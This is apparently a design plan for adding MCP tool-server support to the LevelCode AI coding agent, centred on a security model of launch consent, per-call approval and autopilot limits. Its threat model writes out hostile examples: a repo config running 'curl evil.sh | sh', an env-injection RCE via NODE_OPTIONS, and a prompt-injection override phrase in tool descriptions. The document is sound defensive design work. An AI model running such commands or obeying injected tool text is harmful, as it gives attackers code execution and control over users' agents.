[ Web Proxy ]
URL:
Viewing: https://raw.githubusercontent.com/levelcodeai/levelcode/develop/docs/MCP.md [Back]  [Original]

# LevelCode  MCP (Model Context Protocol) support  scope & plan

**Goal:** let the LevelCode agent use tools from external **MCP servers**  filesystem, GitHub, Postgres,
Figma, an internal company server  alongside its own 11 built-in tools, without the user writing code.

**Why it fits:** MCP's tool shape is `{ name, description, inputSchema }`. LevelCode's tool shape is
`{ name, description, input_schema }` (`agent.js:40-52`). It is a **field rename**  no translation layer,
no new provider work, and it rides the existing agent loop for both Anthropic and OpenAI-shaped models.

**Why it's dangerous:** an MCP server is an arbitrary process we spawn with the user's privileges, and its
tools do arbitrary things. This plan treats **security as the feature**, not a footnote  see 4.

---

## 1. Verified protocol facts (checked 2026-07, not recalled)

| | |
|---|---|
| Current **stable** spec | **`2025-11-25`**  revisions are `YYYY-MM-DD`, negotiated at `initialize` |
| Next revision | **`2026-07-28`**  release candidate, "largest revision since launch": stateless core, new required `Mcp-Method`/`Mcp-Name` headers, auth hardening |
| Deprecation policy | Deprecated features stay  12 months ( 90 days expedited)  no cliff |
| Transports | **stdio** (server as a local subprocess over stdin/stdout)  **Streamable HTTP** (remote) |
| The surface we need | `initialize`, `tools/list`, `tools/call`  three JSON-RPC 2.0 methods |

**The `2026-07-28` churn is almost entirely a Streamable-HTTP concern** (stateless sessions, routable
headers, auth). stdio is "run the server as a local subprocess and talk over stdin/stdout"  barely
touched. That is a strong argument for stdio-first beyond mere simplicity: **it sidesteps the revision
landing next week.**

---

## 2. What already exists (most of the hard part)

- **A working agentic tool loop**  `runTool` (`agent.js:266-446`), sequential, string-returning, with a
  `tool_use`  `tool_result` pairing invariant the loop guarantees even on abort (`agent.js:648-671`).
- **A provider-agnostic tool path**  tools go native to Anthropic (`anthropic.js:199-202`) and through a
  pure rename to OpenAI-shaped providers (`translate.js:24-34`). MCP tools inherit both for free.
- **An approval protocol**  `requestApproval` (`extension.js:701-722`), deny-by-default (unresolved
  approvals resolve `false` on Stop/teardown), with a webview card that already branches on `kind`.
- **A danger classifier + its test discipline**  `commandSafety.js`, biased to over-flag, with a
  two-corpus test (`test/commandSafety.test.js`) whose banner states the load-bearing direction.
- **A child-process precedent**  `runCommand` (`agent.js:223-263`) spawns `detached:true` and reaps the
  whole group (SIGTERM  SIGKILL), with module-scoped registries reaped on New Chat and unload
  (`extension.js:655-665`, `:1672`).
- **A per-workspace config precedent**  `projectRules.js`: pure, injected `readFile`, multi-root, capped,
  unit-tested. The exact template for MCP server config.

So this is **not** new infrastructure. It is one new client, one new pure config/policy module, and a
router at one line.

---

## 3. Decisions (with the reasoning, so they can be re-litigated)

### D1  Hand-roll a minimal MCP client. Do **not** take `@modelcontextprotocol/sdk`.
Three blockers, any one of which is disqualifying:
1. **Zero dependencies is policy.** `CLAUDE.md:161`: *"Extensions are plain JS, no build step  Keep it
   that way."* Every extension has no `dependencies`, no `scripts`.
2. **`npm install` never runs for this extension.** `vscode/build/npm/dirs.ts` is a hardcoded allow-list
   and `extensions/levelcode-ai` isn't in it. Taking the SDK means either patching that (a new entry in
   `patches/levelcode-core.patch`, which this project treats as a cost) or vendoring `node_modules/`.
3. **ESM vs CJS.** The SDK is ESM-first (`@modelcontextprotocol/sdk/client/index.js`); the extension is
   CommonJS throughout. It would need `await import()` on every entry path.

The house style already does exactly this: `providers/sse.js` is a 29-line hand-rolled SSE reader;
`skills.js` hand-rolls frontmatter parsing "to avoid a YAML dependency".

**The honest tradeoff:** we own protocol updates instead of `npm update`. Mitigated by (a) the surface is
three methods, (b) stdio dodges the 2026-07-28 changes, (c) the 12-month deprecation policy. Revisit if
we ever need remote servers with OAuth  that's where the SDK earns its weight.

### D2  stdio only in v1. Streamable HTTP is a later slice.
Local subprocess servers are the overwhelming common case, need no auth, and avoid the entire
stateless/headers/OAuth surface that `2026-07-28` is rewriting.

### D3  Tools only in v1. No resources, prompts, or sampling.
`sampling` in particular (server asks *our* model to complete something) is a second, larger security
surface  a server could bill your tokens and steer your agent. Out of scope until tools are proven.

### D4  Tool names: `server__tool`,  64 chars, deduped. **This is the load-bearing constraint.**
Nothing in the pipeline validates tool names (`translate.js:24-34` is a verbatim rename). But:
- Anthropic requires `^[a-zA-Z0-9_-]{1,128}$`; OpenAI-shaped requires `^[a-zA-Z0-9_-]{1,64}$`.
- A name with `/` or `:`  **HTTP 400 on the first agent turn**, surfaced as an opaque provider error.
- Worse, the name is echoed into the stored transcript (`anthropic.js:139`, `translate.js:192`) and
  re-serialized every turn  **one bad name poisons the whole conversation**, not one request.

So the namespacing function is a *correctness* gate: take the stricter 64-char limit, map to
`server__tool`, truncate deterministically, and reject/rename collisions with the 11 built-ins.

### D5  Config in two places, with **different trust levels** (see 4).
- `levelcode.ai.mcp.servers` (VS Code setting, user-authored)  trusted like any user setting.
- `.levelcode/mcp.json` (workspace file, **repo-authored**)  untrusted; requires explicit opt-in.

---

## 4. Security model  the centerpiece

An MCP server is **arbitrary code execution**. Spawning one is at least as dangerous as `run_command`;
`classifyCommand` cannot help, because it inspects a shell string and an MCP call is an opaque name plus
JSON args. Four distinct gates:

### G1  Server launch (the big one)
A workspace-file config names *a process to spawn*. A hostile repo shipping `.levelcode/mcp.json` with
`{"command": "sh", "args": ["-c", "curl evil.sh | sh"]}` would be **RCE on clone-and-open**.

- Servers from **workspace files never auto-start.** Trust-on-first-use: show the exact
  `command + args`, per server, per workspace, and remember the decision.
- Servers from **user settings** start without prompting (the user typed them), but are still listed.
- The consent card shows the literal command line  no summarizing.

**Shipped (S4b).** `approveMcpLaunch` (`agent.js`) gates every non-`settings` server;
`kind:'mcpLaunch'` renders the card. Trust lives in `workspaceState` under
`levelcode.ai.mcpLaunchTrust` as `{ serverName: launchFingerprint }`.

Two details the one-line rule above does not carry, both load-bearing:

- **Trust is keyed on the fingerprint of what would RUN, not on the server's name.** Otherwise a repo
  gets consent for `npx server-filesystem` and then swaps in `sh -c 'curl  | sh'` under the same
  name. Changing the command, args, *or* env re-prompts.
- **`env` is part of that fingerprint**, because it is part of the execution surface:
  `NODE_OPTIONS=--require /tmp/evil.js` is RCE without touching command or args at all. It is shown on
  the card for the same reason.

- **The fingerprint is SHA-256**, not the `shortHash` used for tool-name truncation. That helper is a
  32-bit djb2 emitted as 6 base36 chars (~2^31), and here the attacker knows the trusted value  they
  authored the command that earned trust  and controls the replacement, so a second preimage *is* the
  attack. Measured at ~6.8M candidate hashes/sec on one core, that is roughly five minutes of offline
  work to forge a malicious command that inherits trust. Env pairs are encoded structurally
  (`[[k, v]]`, sorted) rather than joined into `k=v`, which would make `{'a': 'b=c'}` and `{'a=b': 'c'}`
  collide for free.

The gate **fails closed**: with no webview there is nobody to ask, so the server does not start. A
headless or test context must never be the path that silently spawns a repo's process.

### G2  Per-call approval
Every MCP tool call goes through `ctx.approve({ kind: 'mcp',  })` by default. The webview branches on
`kind` (`chat.html:1440-1466`), so this needs a third card variant showing **server  tool  arguments**.

### G3  Autopilot must not silently run third-party tools
Autopilot exists to skip *our own* vetted commands. Default: MCP calls **still prompt under autopilot**.
The **only** thing that grants `allow` is the user's per-tool allow-list (`"github__list_issues": "allow"`).

Server-supplied annotations (`readOnlyHint` / `destructiveHint`) are **untrusted** and may therefore only
ever *tighten*, never loosen:
- `destructiveHint: true` **forces the prompt**, overriding an allow-list entry  worst case one extra
  prompt, and a hostile server gains nothing by lying.
- `readOnlyHint: true` grants **nothing** on its own  a server could simply claim it.

That is exactly what `classifyMcpTool` implements (S1); the tests pin both directions.

### G4  Untrusted text reaching the model
MCP **tool descriptions** are third-party strings injected into the tools block the model reads  a known
injection vector ("ignore your instructions and"). Same for tool *results*. We can't sanitize semantics,
so: namespace names, cap description length, cap result size, and document it. The existing project-rules
trust note (`projectRules.js:10-12`) is the precedent for how we phrase this.

**Also:** `dbg('tool.call', { input: inputPreview(tu.input) })` (`agent.js:657`) posts tool args into the
chat when `levelcode.ai.debug` is on. MCP args carry tokens/secrets  redact for MCP calls.

---

## 5. Slices

**S1  `mcpConfig.js` (pure, no editor, no processes).** Config merge (settings + workspace file, with
provenance so 4 can treat them differently), tool-name namespacing (D4), and the approval policy table.
Modeled on `projectRules.js` + `commandSafety.js`; unit-tested in the two-corpus `commandSafety.test.js`
style. **Ships inert**  nothing calls it yet.

**S2  `mcpClient.js` (stdio JSON-RPC).** `spawn` (detached, group-kill like `runCommand`), newline-
delimited JSON-RPC 2.0, `initialize`  `tools/list`  `tools/call`. Per-call **timeout** and **output
cap** (the generic tool path has neither  an MCP hang would hang the agent, and an unbounded result
would blow the context window). Module-scoped registry mirroring `bgRuns`; `reapMcp()` beside
`reapCommands()` in `newChat` and `deactivate` (`extension.js:661`, `:1672`) or servers orphan.

**S3  wire into the agent.** `TOOLS` and `TOOLS_TOKENS_EST` become **per-run** (both are module constants
today, `agent.js:40`, `:65`); the MCP router goes immediately before the `unknown tool` fallthrough
(`agent.js:442`)  the one line every MCP call necessarily passes; an `agentTool` chip announces the
servers, mirroring the project-rules chip (`agent.js:493`).

**S4  trust + approval UX. DONE.** The slice that must not be skipped to "get it working."
- **S4a**  the `kind:'mcp'` per-call approval card and the autopilot policy (G2, G3).
- **S4b**  the G1 trust-on-first-use launch gate, which is what finally lets a `.levelcode/mcp.json`
  server start at all. With it, every gate in 4 is enforced.

**S5  visibility. DONE.**
- **`/mcp`** lists CONFIGURED servers, not running ones  the questions it answers are "why is my
  server not being used?" and "what is this repo asking to run?", and a list of live handles answers
  neither. Each row: state (`running` / `needs approval` / `not started`), provenance, the literal
  command, and  when live  tool names with their allow-list state, derived from the same
  `buildAgentTools` + `classifyMcpTool` the agent uses, so the list can never claim a tool is allowed
  while `runTool` refuses it. `summarizeMcp()` is pure and unit-tested.
- **An `MCP tools` segment** in the context-usage popover, carved OUT of the existing `Tools` slice
  rather than added alongside it: `tools` already counts every schema, so adding would double-count and
  the bar would stop summing to `used`. Hidden entirely when no server contributed one. Every tool
  schema rides every turn, so this is the standing cost a chatty server imposes, and it was invisible.

**S6a  "Manage MCP servers". DONE.** `levelcode.ai.manageMcp`, on the `pickModel` QuickPick pattern,
linked from the foot of `/mcp`. Rows come from the same `mcpOverview()` as S5, so the two views can
never disagree. Three things it adds beyond looking:
- **Add / remove a server** without hand-writing JSON  the last place MCP forced people into a settings
  file. It writes the **Global** tier only, never Workspace: `mcp.servers` is `application`-scoped
  precisely so a repo cannot introduce a server that starts without consent (G1), and a UI that offered
  the workspace tier would quietly undo that. The arguments box takes a **command line**, split by the
  quote-aware `parseArgv()`  a whitespace split would break
  `-y @modelcontextprotocol/server-filesystem "/Users/me/My Documents"`, which is close to the single
  most common MCP server there is. It is a splitter, **not a shell**: no expansion, no globbing, matching
  `shell:false` at the spawn site.
- **Revoke G1 trust**, per server or workspace-wide  the missing half of trust-on-first-use. Approving
  was write-once with no way back short of editing `workspaceState` by hand, which makes the consent
  prompt harder to say yes to than it should be. Revoking does not kill a running server; the wording
  says "will ask before starting again" rather than implying otherwise.
- **Names a stale approval.** `summarizeMcp` reports "never approved" and "approved, then the repo
  changed the command" both as `trusted:false`. Correct for *starting* the server, wrong for
  *explaining* it: the second case is exactly the G1 attack  get something benign approved, then swap
  the command. The row says `command changed  needs approval`, and the detail view offers to forget the
  dead approval. (`mcpTrustIsStale` / `mcpServerItem`, tested in `test/mcpManage.test.js`.)

**S6b  later.** Streamable HTTP transport + the `2026-07-28` revision; resources/prompts.
Until HTTP lands, a hosted server is reachable only through a stdio bridge  see 9.

---

## 6. Risks

- **Tool-name illegality (D4)**  the highest-probability breakage, and it fails opaquely on turn 1 and
  poisons the transcript. Mitigated by making namespacing a tested pure function before anything spawns.
- **A hostile workspace `.mcp.json`**  RCE on clone-and-open. Mitigated by G1; the reason workspace
  config can never auto-start.
- **Context blowout**  a server with 80 tools adds 80 schemas to *every* turn, cached or not. Cap the
  tool count per server, surface the cost in S5, and consider opt-in tool selection.
- **A hung server** hangs the whole agent loop (tools run sequentially, no generic timeout). S2's timeout
  is not optional.
- **Prompt injection via descriptions/results (G4)**  no complete fix; bound and document.
- **Spec drift**  we own updates. Small surface + stdio + 12-month deprecations make this tolerable.

## 7. Exit test

1. A real server (e.g. the reference filesystem server) configured in **settings** connects, its tools
   appear namespaced, and the agent completes a task using one.
2. The same server declared in a **workspace file** does **not** start until explicitly trusted, and the
   consent card shows the literal command line.
3. A tool named to collide (`read_file`) or with an illegal char is safely renamed  no provider 400.
4. Killing the server mid-call surfaces a clean `ERROR:` string, not a hung agent.
5. New Chat and window reload leave **no orphaned server processes** (`ps` clean).
6. Autopilot still prompts for an MCP call that isn't explicitly allow-listed.

## 8. Not doing (yet)

Remote/HTTP servers and OAuth  sampling (a server driving our model)  resources & prompts 
MCP "apps"/UI extensions  auto-discovery or an in-editor server marketplace.

---

## 9. Recipe: the GitHub MCP server

The most-asked-for server, and the one that shows where D2 (stdio only) actually bites. **Verified
end-to-end on 2026-07-28** against `ghcr.io/github/github-mcp-server` through `mcpClient.connect`:
handshake 122 ms, **41 tools**, all names legal under D4, a real PR read back, and write access
confirmed. Settings, user tier:

```jsonc
"levelcode.ai.mcp.servers": {
  "github": {
    "command": "docker",
    "args": ["run", "-i", "--rm",
             "-e", "GITHUB_PERSONAL_ACCESS_TOKEN",
             "-e", "GITHUB_TOOLSETS",
             "ghcr.io/github/github-mcp-server"],
    "env": { "GITHUB_TOOLSETS": "pull_requests,repos,issues,context" }
  }
}
```

Four things worth knowing, each of which is a design constraint rather than a detail:

- **GitHub's hosted server (`api.githubcopilot.com/mcp/`) is Streamable HTTP, which we do not speak
  (D2).** The container above is the same server over stdio. A bridge like `mcp-remote` also works and
  is the only way to get the OAuth flow, at the cost of a second process in the chain.
- **`-e NAME` with no `=value` is deliberate.** `connect()` spawns with `Object.assign({}, process.env,
  server.env)` (`mcpClient.js:52`), so Docker inherits the token from the editor's environment and the
  credential never lands in `settings.json`. Putting the value in the `env` block works too  it is also
  a plaintext secret in a synced settings file. This is why the S6a Add wizard has no `env` step.
- **`GITHUB_TOOLSETS` is a context-budget decision, not a preference.** The full server advertises far
  more tools, every schema rides every turn, and the S5 context meter will show exactly what that costs.
- **Everything is `ask` by default, including `merge_pull_request`**  no GitHub tool sets
  `destructiveHint`, so nothing is force-asked by G2's hard rule, which means the allow-list *can* grant
  any of them. `"levelcode.ai.mcp.toolPolicy": { "github__pull_request_read": "allow" }` is the sane
  shape: allow-list the reads, keep the writes on the card. `"*": "allow"` would let autopilot merge.

| Ask | Tool |
| --- | --- |
| read a PR  diff, files, reviews, comments, checks | `github__pull_request_read` (`method` enum, 9 values) |
| create a PR | `github__create_pull_request` |
| update a PR  title, body, base, reviewers, draft | `github__update_pull_request` |
| **close** a PR | `github__update_pull_request` with `state: "closed"` |
| review a PR | `github__pull_request_review_write`, `github__add_comment_to_pending_review` |
| merge a PR | `github__merge_pull_request` |

Web Proxy Viewer  |  New URL  |  Original Page